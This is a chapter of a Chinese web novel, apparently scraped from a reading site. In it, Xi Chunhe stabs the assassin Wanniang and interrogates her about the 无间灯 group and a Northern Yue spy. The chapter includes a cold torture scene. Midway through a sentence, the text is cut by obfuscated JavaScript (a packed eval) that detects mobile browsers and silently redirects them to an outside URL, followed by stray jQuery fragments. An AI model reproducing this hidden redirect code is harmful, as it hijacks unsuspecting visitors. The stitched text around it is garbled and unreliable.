默认冷灰
24号文字
方正启体

44.交代

作者:归浮白本书字数:K更新时间:
    阿若执意要跟上:“小姐,我为你套马。”


    奚春和看了看自己一直颤抖的双手,没有再叫阿若回去。


    两人前脚刚走,夏槐序就追到了后门处,她看到那架青帷小车已经转过奚府的尽头,她快跑上去,足尖一点,上了马车。


    奚春和看着夏槐序,她来得匆忙,钗环都未戴,只用一跟同色发带系了青丝。


    “奚春和,你到底在想什么?”


    夏槐序看着奚春和虚弱的脸色,她的双手搁在膝上,还微微发着颤。


    奚春和抿了抿嘴。


    “昨晚,夏侯雪芥才把你从鬼门关拉回来,你不好好养病,又要去做什么?”


    夏槐序伸手拉过奚春和的手,将她的手包在自己的手里。


    一时谁也没说话,只余外面渐次响起的商铺开门和小贩开张的声音。


    “我梦到,晚娘死了,我再也找不到任何线索。”奚春和轻声说。


    夏槐序张了张口,却是什么也说不出来。奚春和太在乎南州之乱的真相,晚娘身上的秘密太多,奚春和必须要尽快从她身上撬出自己想要的,才能避免夜长梦多。


    “春和,你对她太仁慈了。”


    夏槐序看着奚春和的眼睛,说出的话无比认真。


    “你得让她知道,你拿起刀,就会杀她。你得让这把刀饮血,而不是挂在腰间做警示敌人的装饰。”


    夏槐序握住奚春和的手腕,带着她将匕首拔出来,利刃的寒光闪过奚春和和夏槐序的眉眼。


    “匕首没入脊背半寸,让她失了那身武艺,成了半死不活的残废,求死不能,求生不得。”


    夏槐序拉着奚春和的手,量过匕首半寸的长度。


    奚春和盯着眼前的匕首,它刚从晚娘的脖子上下来,还带着血迹。


    而晚娘刚刚经历了一场惊心动魄的威胁,此刻刚松一口气,看着夏槐序那摇摇欲坠的身形,以为她因为自己的话大受刺激,本想幸灾乐祸。


    下一秒,锥心的痛楚却比她内心的快意先来。


    奚春和松开匕首,看着留在外面的寸余,说出的话冰冷无情:“刚好半寸。”


    站在她们身后的慧娘被自家小姐的动作惊住,愣怔了一下才快步上前查看情况。


    刀尖刺穿晚娘身上的锦袍,穿透皮层,陷入肌肉,刚好半寸。血慢慢溢出,染红了衣袍,接着染红她身下的锦被。


    “跟了一路,进来吧。”


    奚春和看着晚娘痛苦的神色,语气平淡。


    话音刚落,门扉被推开,走进来两人。


    夏侯雪芥和夏槐序走到奚春和面前,前者捧起她的手,小心地拿出帕子擦着她手上的血迹。


    晚娘早已痛得神思不属,恍然间看见夏侯雪芥,眼里的惊惶都要凝成实体。


    他不是早就死在自己的刀下了吗?


    为什么还在这里?


    难道是自己失手了?


    或者这里已经是阴间,她已经死了?


    直到刚才进来的夏槐序上前提起她。夏槐序的声音刺穿她的耳膜,让她在混沌里抓住一丝清明。


    夏侯雪芥把奚春和手上的血迹尽数擦干净后,才看向榻上的晚娘,她已经奄奄一息,闭着眼,神色极为痛苦。


    奚春和极为敏锐地看到了夏侯雪芥看清那张脸时空白了一瞬的脸色,随后待他看清晚娘的身形时,眼里闪过的疑惑。


    奚春和心里的推断落定。


    “雪芥兄,既然跟来了,那就处理一下吧。”夏槐序的声音打断了夏侯雪芥的沉思。


    他侧过头看了一眼奚春和,表示出疑惑的样子。


    奚春和一顿,一时有些无奈,到了这个时候,他居然还能继续演。


    “她是刺杀薛彧的犯人。”


    夏侯雪芥脸上适当地露出惊讶之情,片刻后又压下去,看着奚春和点了点头。


    夏侯雪芥蹲下身查看晚娘的伤情,他边查看边说:“不会死。”


    恰好慧娘取了一碟子药进屋,又匆忙去将刚烧好的热水提进来。


    折腾到天完全亮了,夏侯雪芥刚缝合好伤口,撒了药贴了纱布。


    夏侯雪芥站起身,走到铜盆前将手洗净。奚春和站在他身旁,给他递了一块香膏。


    夏侯雪芥接过香膏,轻轻涂抹在手上,顺手将香膏塞进自己的怀里。他转头看向奚春和,眼中带着一丝询问,似乎在确认接下来是否还有其他安排。


    奚春和微微一笑,摇了摇头,示意他并无他事。


    “雪芥兄,春和,来吃饭。”


    外面响起夏槐序的声音。


    奚春和和夏侯雪芥齐齐转头,就见夏槐序端着一筐刚出锅还冒着热气的馒头,路过门口时喊了他们一嗓子。


    两人进了饭厅,桌上已经摆了清粥、烙饼、小菜两碟,以及夏槐序刚端来的宣软蓬松的大馒头。


    慧娘则刚刚取下围裙,要上前扶奚春和落座。


    几人都坐定,开始吃早饭。


    “要在这里等晚娘醒过来吗?”夏槐序问道。


    奚春和点了点头。


    夏侯雪芥说晚娘傍晚会醒,果然昏黄的天色笼罩这间院子时,晚娘就醒过来了。


    慧娘喂了她汤药,晚娘看着站在榻前的奚春和,眼皮抖动了一下,顺从地将药喝下。待整碗药见底,慧娘收了药碗,退出屋子。


    奚春和往后一步,坐在夏侯雪芥准备好的椅子上。


    晚娘一眼不落地盯着奚春和,看她坐在离自己不远的椅子上,内心有些发怵。


    “疼不疼?”奚春和问出的话,让晚娘一愣。待她看清奚春和平静无波的眼神时,才反应过来。


    晚娘不答。


    “背后的伤一时好不了。”奚春和继续说。


    晚娘连皱眉头的力气都不敢用,害怕牵扯背后的伤口,她就看着奚春和在那里一句一句地问她。


    莫名其妙。


    “伤在后背,你每次拉伸后背的肌肉都会扯裂伤口。”


    “骨头错位的滋味不好受吧。”


    “你现在为了缓解骨骼的疼痛,会下意识地收缩肌肉。你背上的伤有愈合的可能吗?”


    奚春和语气平静,吐出的话却让晚娘如坠冰窟。


    她趴伏在榻上,背上的伤口和泛酸的骨骼,都在提醒她,奚春和说的都是真的。


    晚娘看着奚春和,嘴唇轻启,说出的话有些嘶哑:“你问,我答。”


    她知道奚春和听得懂,果然奚春和浅笑一声,靠在椅背上,审视着晚娘。


    晚娘这一次顺从地任由她看着,没有不甘神色,没有刻薄言语。


    许久,外面的天色都要黑下去,晚娘已经昏昏欲睡。


    奚春和才开口。


    “你到底是无间灯里的谁?”


    晚娘早已没了选择,只能如实说,吐出的那两个字还带着颤抖:“镇火。”


    奚春和心想,果然如此。


    无间灯敢接刺杀太子的委托,这个任务落在三大掌使之首才算合理。


    城南的三进宅子里人去楼空,奚春和想,后日西北来的飞鸽也该到了。


    一定也是同样的结果。


    晚娘给的据点是真的,可是无间灯掌使之首失踪,他们警觉后早就逃之夭夭。


    “刺杀太子的任务是谁给你的。”


    “掌灯人。”


    奚春和又问:“掌灯人是谁?”


    晚娘嘴唇动了动,却没有发出声音。


    奚春和等着晚娘回答,看晚娘盯着面前的锦被,似乎陷入了回忆,只是眼里是恐惧。


    根据晚娘从前的说法,这个掌灯人应该才是收养她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290853|193531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,她不可能没见过那个男人。


    终于,晚娘缓缓开口:“他叫杨成婪,真名。”


    “你知不知道,委托你们刺杀太子的人是谁?”


    晚娘这次没有犹豫。


    “雇主只和杨成婪接头,但是那天我躲在杨成婪的密室里,隐约能闻到那人身上的香。”


    晚娘又断断续续地说,她见那人连蒙面都是用得极好的布料,香味从腰间挂着的香囊溢出,带着异域辛凉的香气,晚娘从未闻过那样凌冽悠远的香味,她只能依稀从里面闻到沉香的味道,别得就再也辨别不出来。


    奚春和敛下眼眸沉思。


    既然蒙了面,那就是不想暴露自己的身份,为什么又要佩戴那样特殊的香?


    是什么原因,能让那个人冒着被发现的风险,也要戴着那香囊。


    除非,那个人离不开那种香味。


    连晚娘这样懂香的人都不知道那香味是什么,莫不是那不是普通的香,而是可以医治疑难杂症的香方。


    奚春和暗暗记下,又从怀里取了一张纸出来,将上面的图案指给晚娘看。


    “昨晚,我们一直调查的北越探子杀了我的一个同僚。他的伤口和薛彧的一模一样,都是用的来自南州的匕首。说说,你为何会和北越的人勾连上。”


    晚娘看着那图案,瞳孔聚拢了点,先回答了奚春和的问题。


    “那人是杨成婪送到我麾下的,杨成婪只吩咐我,必要时帮他就行。”


    奚春和听她笃定的语气,心里渐渐冒出一点惊疑不定。


    “你去过地火斋吧,去那里问陆隐要伪造的文牒,是那个北越人要求你去的吧。”


    晚娘点点头。


    “你平时都是以你正常的身量现身,为何我们逮捕你的那日,你用缩骨术,变成现在等我身形?”


    晚娘觑了一眼奚春和的神色,眼睫垂下来,有些无力地说:“你知道还问。”


    顿了一会儿,她继续说:“我去见了杨成婪。”


    奚春和点点头,那段时间杨成婪在京都。而下达刺杀薛彧的任务,是仓促间完成的,在这段时间里,杨成婪又见了哪一位雇主呢,是哪一位雇主如此神通广大,能立刻联系上杨成婪。


    虽然不抱希望,奚春和还是问了一嘴:“刺杀薛彧的委托,是谁给的?”


    晚娘果然摇了摇头。


    奚春和见她摇头,垂下眼,静默了一会儿。


    奚春和瞥见晚娘的嘴唇动了动,“这个图案,我见过。”


    “委托刺杀太子的那人,他香囊上的图案就是这个。”晚娘回忆着。


    奚春和一惊。


    想到前面晚娘说的,她不知道杨成婪接了北越的任务,可是杨成婪却派了那人到晚娘的麾下,一起做事。


    还有晚娘今早说的那句“引狼入室”。她不知道朝中有北越安插的奸细,但是联想杨成婪最近两年下达的任务,便猜到大夏朝中出了通敌叛国的奸细。


    晚娘是接了刺杀太子的任务来京都的,那个外商又是北越的探子,两人却被杨成婪安排在一处。


    其实,是委托无间灯刺杀太子的人和北越有勾结。


    他会不会就是隐藏在朝中数十年的“缺月”?


    奚春和惊疑不定,那外商为何又要用章回和晚娘的匕首?


    奚春和将心中所想问出来,就见晚娘挪动了一下泛酸的臂膀,眉头紧紧皱起。


    晚娘交代,她被捕得着急,根本来不及处理凶器,那凶器怎么会落到那个外商的手里,她也不知道。


    说完这句话,晚娘两眼一翻,晕了过去。


    奚春和起身,走到门外,那里站着夏侯雪芥和夏槐序两人。


    “刚才都听到了?”奚春和问,着意看了一眼薛彧,见他神色凝重,奚春和心口又涌起血腥的味道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)